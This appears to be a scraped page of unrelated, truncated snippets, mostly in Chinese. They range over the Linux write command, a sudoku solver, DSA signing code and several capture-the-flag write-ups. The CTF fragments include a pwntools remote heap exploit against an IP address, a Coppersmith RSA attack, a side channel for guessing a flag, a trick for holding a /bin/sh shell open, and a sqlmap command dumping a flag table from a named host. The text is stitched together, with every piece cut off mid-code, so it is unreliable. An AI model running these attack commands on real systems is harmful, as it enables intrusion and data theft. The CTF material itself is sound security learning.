比如,我必须关闭某个服务,或者需要重启服务器,当然需要通知同时登录服务器的用户,这时就可以使用write命令。write命令的信息如下:命令名称:write。英文原意:send a message to another user。所在路径:/usr/bin/write。执行权限:所有用户。功能描述:向其他用户发送......
key = self._get_three_to_three_key(row, column) if key not in self.every_three_to_three_data: self.every_three_to_three_data[key] = set() self.every_three_to_three_data[key].add(value) def _init(self): ''' 根据传入的数独,初始化数据 :return: ''' for row, row_datas in en...
(0); innum(p,fp); innum(q,fp); innum(g,fp); fclose(fp); hashing(msg, strlen(msg), hash); fp=fopen("signed.out","rt"); if (fp==NULL) { printf("file signed.out does not existn"); return 0; } innum(r, fp); innum(s, fp); innum(k,fp); xgcd(k,q,k,k,k);...
/usr/bin/python -u#-*- coding:utf-8 -*-# Let's exploit easy and quick!# 1) apt install valgrind# 2) use callgrind to find instruction countflag='TMCTF{'n=0importosimportsys# format given by admincharset="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}"whileTrue:n+=1to...
远程环境和本地环境堆布局略有差异,需要使用一些侧信道的方法泄漏出其对应的偏移,比如根据堆的布局进行 chunk 进行 free ,观测程序是否崩溃。 #!/usr/bin/env python3# -*- coding:utf-8 -*-frompwnimport*context.clear(arch='amd64',os='linux',log_level='debug')sh=remote('47.93.15.136',34850)def...
“If you want to compute a new target…”,并在最后设置新的target。 重要提示:对数是以一个任意的(未知的)基数给出的。 如果你想根据一个特定的生成元g来定义它们,那么你将不得不计算g的对数,然后用所有的对数除以这个值。 见https://lists.gforge.inria.fr/pipermail/cado-nfs-discuss/2018-November/00...
We have RSA ciphertext of two related messages, with small random paddings. This is standard case for coppersmith. I was able to find a script online and modify it to calculate the exact diff, then recover plaintext with gcddef short_pad_attack(c1, c2, e, n): PRxy.<x,y> = ...
index.html里有一句话:can u find my secret? 在两个js文件里搜,找到一个图片文件名:iZwz9i9xnerwj6o7h40eauZ.png,下下来,用Stegsolver看一下LSB,发现有一串字符:U2FsdGVkX1+zHjSBeYPtWQVSwXzcVFZLu6Qm0To/KeuHg8vKAxFrVQ==,根据U2FsdGVkX1猜测是密文,试了一下,3DES,密钥是index.html中的字符串ON...
If you ever need to get a /bin/sh shell and you are sure it works but the program exits anyways, use this trick: ( python -c "print '<PAYLOAD>'" ; cat ) | ./<program> pwntools does this with its process.interactive()PIE (Positional Independent Execution)determine random value ...
python sqlmap.py –u http://syc.myclover.org/pentest/web2/search.php --data “key=my” --dbms mysql -D webbase2 -T #flag --dump SQL注入 链接是sqlmap.org的山寨页面,在http response header里发现提示,index.php?id=。分别取id=1/2/3/4,页面与默认页面均不同。id=4-1与id=3一样,id...